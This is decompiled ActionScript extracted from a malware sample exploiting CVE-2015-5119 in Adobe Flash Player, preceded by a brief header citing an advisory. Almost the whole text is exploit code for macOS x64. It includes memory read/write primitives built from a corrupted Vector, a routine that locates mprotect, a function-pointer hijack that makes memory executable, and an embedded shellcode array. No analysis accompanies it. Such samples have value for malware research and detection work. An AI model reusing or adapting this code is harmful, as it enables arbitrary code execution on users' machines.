CVE-2015-5119 / Mac x64 shellcode

Extracted ActionScript for Mac x64 from e747df46e21036505780f2f7e48775147d815c3591f1c91514328a36aa84b9de also known as: CVE-2015-5119
https://helpx.adobe.com/security/products/flash-player/apsa15-03.html
https://twitter.com/bartblaze/status/618761630806110208


package
{
   import flash.utils.Endian;

   class ShellMac64 extends MyClass
   {

      static var _v:Vector.<uint>;

      static var _vAddr:Number;

      static var _base:Number;

      static var _baseMax:Number;

      static var _baseOld:Number;

      static var _mc:MyClass2;

      static var _mcOffs:uint;

      static var N32:Number = Math.pow(2,32);

      static var _x64:Vector.<uint> = Vector.<uint>([2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,1632548936,188,3.24272128E9,2.20253488E9,2.428700352E9]);

      {
         N32 = Math.pow(2,32);
         _x64 = Vector.<uint>([2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,1632548936,188,3.24272128E9,2.20253488E9,2.428700352E9]);
      }

      function ShellMac64()
      {
         super();
      }

      static function Hex(param1:Number) : String
      {
         if(param1 >= 0 && param1 <= 9)
         {
            return param1.toString();
         }
         return "0x" + param1.toString(16);
      }

      static function Init(param1:Vector.<uint>, param2:uint, param3:MyClass2, param4:uint) : Boolean
      {
         _v = param1;
         _mc = param3;
         _mcOffs = param4;
         _vAddr = Get64(param4,4.2949632E9) - param2;
         _baseOld = Get64(param4 - 8);
         param1[6] = 4.294967295E9;
         param1[7] = 4.294967294E9;
         param3.endian = Endian.LITTLE_ENDIAN;
         Set64(param4 - 8,_vAddr);
         _base = 0;
         _baseMax = 4.29496728E9;
         var _loc5_:uint = param3.length;
         return _loc5_ == param1[7];
      }

      static function CleanUp() : *
      {
         Set32(_vAddr - 16,_vLen);
         _v[6] = 0;
         _v[7] = 0;
      }

      static function Num(param1:uint, param2:uint) : Number
      {
         var _loc3_:Number = param2;
         if(_loc3_ != 0)
         {
            _loc3_ = _loc3_ * N32;
         }
         _loc3_ = _loc3_ + param1;
         return _loc3_;
      }

      static function Hi(param1:Number) : uint
      {
         return uint(Math.floor(param1 / N32) & N32 - 1);
      }

      static function Low(param1:Number) : uint
      {
         return uint(param1 & N32 - 1);
      }

      static function Get64(param1:uint, param2:uint = 4.294967295E9) : Number
      {
         return Num(_v[param1] & param2,_v[param1 + 1]);
      }

      static function Set64(param1:uint, param2:Number) : *
      {
         _v[param1] = Low(param2);
         _v[param1 + 1] = Hi(param2);
      }

      static function SetBase(param1:Number) : *
      {
         if(param1 < _base || param1 >= _baseMax)
         {
            Set64(4,param1);
            _base = param1;
            _baseMax = param1 + 4.29496728E9;
         }
      }

      static function Get32(param1:Number) : uint
      {
         if(param1 < 65536)
         {
            throw new Error("");
         }
         SetBase(param1);
         _mc.position = uint(param1 - _base & N32 - 1);
         return _mc.readUnsignedInt();
      }

      static function Set32(param1:Number, param2:uint) : *
      {
         if(param1 < 65536)
         {
            throw new Error("");
         }
         SetBase(param1);
         _mc.position = uint(param1 - _base & N32 - 1);
         _mc.writeUnsignedInt(param2);
      }

      static function Get(param1:Number) : Number
      {
         if(param1 < 65536)
         {
            throw new Error("");
         }
         SetBase(param1);
         _mc.position = uint(param1 - _base & N32 - 1);
         var _loc2_:uint = _mc.readUnsignedInt();
         var _loc3_:uint = _mc.readUnsignedInt();
         return Num(_loc2_,_loc3_);
      }

      static function Set(param1:Number, param2:Number) : *
      {
         if(param1 < 65536)
         {
            throw new Error("");
         }
         SetBase(param1);
         _mc.position = uint(param1 - _base & N32 - 1);
         _mc.writeUnsignedInt(Low(param2));
         _mc.writeUnsignedInt(Hi(param2));
      }

      static function GetAddr(param1:Object) : Number
      {
         _mc.o1 = param1;
         return Get64(_mcOffs) - 1;
      }

      static function Dump(param1:Number, param2:uint) : String
      {
         var _loc4_:uint = 0;
         var _loc3_:* = "";
         while(_loc4_ < param2)
         {
            _loc3_ = _loc3_ + (Get(param1).toString(16) + ",");
            if(_loc4_ % 8 == 7)
            {
               _loc3_ = _loc3_ + "<br>";
            }
            _loc4_++;
            var param1:Number = param1 + 8;
         }
         return _loc3_;
      }

      static function FindMP() : Number
      {
         var _loc1_:* = NaN;
         var _loc2_:uint = 0;
         var _loc3_:uint = 0;
         var _loc4_:* = NaN;
         var _loc5_:* = NaN;
         var _loc6_:* = NaN;
         var _loc7_:* = NaN;
         var _loc8_:* = NaN;
         var _loc9_:* = NaN;
         var _loc10_:* = NaN;
         var _loc11_:uint = 0;
         var _loc12_:uint = 0;
         var _loc13_:uint = 0;
         var _loc14_:uint = 0;
         var _loc15_:uint = 0;
         var _loc16_:uint = 0;
         var _loc17_:* = NaN;
         var _loc18_:uint = 0;
         try
         {
            _loc1_ = Get64(_mcOffs - 4,4.2949632E9) - 26214400;
            while(_loc2_ < 256)
            {
               if(Get32(_loc1_) == 4.277009103E9)
               {
                  logAdd("");
                  break;
               }
               _loc2_++;
               _loc1_ = _loc1_ - 4096;
            }
            if(_loc2_ >= 256)
            {
               throw new Error("");
            }
            _loc3_ = Get32(_loc1_ + 16);
            _loc4_ = 0;
            _loc5_ = 0;
            _loc6_ = 0;
            _loc7_ = 0;
            _loc9_ = 0;
            _loc10_ = 0;
            _loc17_ = _loc1_ + 32;
            while(_loc3_ > 0)
            {
               _loc16_ = Get32(_loc17_);
               if(_loc4_ == 0 && _loc16_ == 25)
               {
                  _loc18_ = Get32(_loc17_ + 64);
                  _loc8_ = _loc17_ + 72;
                  while(_loc18_ > 0)
                  {
                     _loc16_ = Get32(_loc8_ + 64);
                     if((_loc16_ & 255) == 8 && (_loc16_ & 2.147483648E9) != 0)
                     {
                        _loc4_ = _loc1_ + Get(_loc8_ + 32);
                        _loc14_ = Get32(_loc8_ + 68);
                        _loc15_ = Get32(_loc8_ + 72);
                        if(_loc15_ == 6)
                        {
                           _loc13_ = Get32(_loc8_ + 40) / _loc15_;
                        }
                        break;
                     }
                     _loc18_--;
                     _loc8_ = _loc8_ + 80;
                  }
               }
               else if(_loc16_ == 25 && Get32(_loc17_ + 10) == 1263421772)
               {
                  _loc9_ = Get(_loc17_ + 40);
                  _loc10_ = Get(_loc17_ + 24) - _loc9_;
               }
               else if(_loc5_ == 0 && _loc16_ == 2)
               {
                  _loc5_ = _loc1_ + Get32(_loc17_ + 8);
                  _loc11_ = Get32(_loc17_ + 12);
                  _loc7_ = _loc1_ + Get32(_loc17_ + 16);
                  _loc12_ = Get32(_loc17_ + 20);
               }
               else if(_loc6_ == 0 && _loc16_ == 11)
               {
                  _loc6_ = _loc1_ + Get32(_loc17_ + 56);
               }
               if(_loc4_ != 0 && _loc5_ != 0 && _loc6_ != 0)
               {
                  break;
               }
               _loc17_ = _loc17_ + Get32(_loc17_ + 4);
               _loc3_--;
            }
            if(_loc4_ <= _loc1_ || _loc13_ == 0 || _loc5_ <= _loc1_ || _loc7_ <= _loc1_ || _loc6_ <= _loc1_)
            {
               throw new Error("");
            }
            if(_loc10_ > 0)
            {
               _loc9_ = _loc9_ + _loc1_;
               if(_loc5_ >= _loc9_)
               {
                  _loc5_ = _loc5_ + _loc10_;
               }
               if(_loc6_ >= _loc9_)
               {
                  _loc6_ = _loc6_ + _loc10_;
               }
               if(_loc7_ >= _loc9_)
               {
                  _loc7_ = _loc7_ + _loc10_;
               }
            }
            _loc2_ = 0;
            while(true)
            {
               if(_loc2_ < _loc13_)
               {
                  _loc16_ = Get32(_loc6_);
                  if(_loc16_ == 0 || _loc16_ > _loc11_)
                  {
                     break;
                  }
                  _loc16_ = Get32(_loc5_ + _loc16_ * 16);
                  if(_loc16_ == 0 || _loc16_ > _loc12_)
                  {
                     throw new Error("");
                  }
                  if(Get32(_loc7_ + _loc16_) == 1919970655 && Get32(_loc7_ + _loc16_ + 6) == 7627621)
                  {
                     _loc4_ = _loc4_ + _loc2_ * _loc15_;
                     _loc16_ = Get32(_loc4_);
                     if((_loc16_ & 65535) == 9727)
                     {
                        return _loc4_;
                     }
                  }
                  else
                  {
                     _loc2_++;
                     _loc6_ = _loc6_ + 4;
                     continue;
                  }
               }
               if(_loc2_ >= _loc13_)
               {
                  throw new Error("");
               }
            }
            throw new Error("");
         }
         catch(e:Error)
         {
         }
         return 0;
      }

      static function Payload(... rest) : *
      {
      }

      static function CallMP(param1:Number) : Number
      {
         var _loc13_:uint = 0;
         Payload();
         Payload.call(null);
         var _loc2_:Number = GetAddr(Payload);
         var _loc3_:Number = Get(Get(Get(_loc2_ + 16) + 40) + 8) + (_isDbg?288:264);
         var _loc4_:Number = Get(_loc3_);
         var _loc5_:Number = Get(_loc2_ + 56);
         var _loc6_:Number = Get(_loc2_ + 64);
         var _loc7_:Number = Get(_loc4_ - 8);
         var _loc8_:uint = _x64.length;
         var _loc9_:Vector.<uint> = new Vector.<uint>(Math.max(1792,_loc8_ + 1024));
         var _loc10_:Number = GetAddr(_loc9_);
         _loc10_ = _loc10_ + (_isDbg?56:48);
         if(Get(_loc10_) < 65536)
         {
            _loc10_ = _loc10_ - 8;
         }
         _loc10_ = Get(_loc10_) + 16;
         var _loc11_:uint = 4096 - (_loc10_ & 4095) >>> 2;
         _loc10_ = _loc10_ + _loc11_ * 4;
         var _loc12_:uint = _loc11_;
         while(_loc13_ < 256)
         {
            _loc9_[_loc12_] = Get32(_loc4_ + _loc13_ * 4);
            _loc13_++;
            _loc12_++;
         }
         var _loc14_:Number = Get(_loc4_) - 256;
         _loc13_ = 0;
         while(_loc13_ < 512)
         {
            _loc9_[_loc12_] = Get32(_loc14_ + _loc13_ * 4);
            _loc13_++;
            _loc12_++;
         }
         _loc9_[_loc11_ - 2] = Low(_loc7_);
         _loc9_[_loc11_ - 1] = Hi(_loc7_);
         _loc9_[_loc11_ + 0] = Low(_loc10_ + 320 * 4);
         _loc9_[_loc11_ + 1] = Hi(_loc10_ + 320 * 4);
         _loc9_[_loc11_ + 320 + 16] = Low(param1);
         _loc9_[_loc11_ + 320 + 17] = Hi(param1);
         Set(_loc2_ + 56,4096 * ((_loc8_ >>> 12) + 1));
         Set(_loc2_ + 64,7);
         Set(_loc3_,_loc10_);
         Payload.call(null);
         Set(_loc3_,_loc4_);
         Set(_loc2_ + 56,_loc5_);
         Set(_loc2_ + 64,_loc6_);
         _loc13_ = 0;
         while(_loc13_ < _loc8_)
         {
            _loc9_[_loc11_] = _x64[_loc13_];
            _loc13_++;
            _loc11_++;
         }
         _gc.push(_loc9_);
         return _loc10_;
      }

      static function Exec() : *
      {
         var _loc1_:* = NaN;
         var _loc2_:* = NaN;
         var _loc3_:* = NaN;
         var _loc4_:* = NaN;
         var _loc5_:* = undefined;
         try
         {
            _loc1_ = FindMP();
            _loc2_ = CallMP(_loc1_);
            _loc3_ = GetAddr(Payload);
            _loc3_ = Get(Get(_loc3_ + 56) + 16) + 8;
            _loc4_ = Get(_loc3_);
            Set(_loc3_,_loc2_);
            _loc5_ = Payload.call(null);
            Set(_loc3_,_loc4_);
         }
         catch(e:Error)
         {
         }
         CleanUp();
      }
   }
}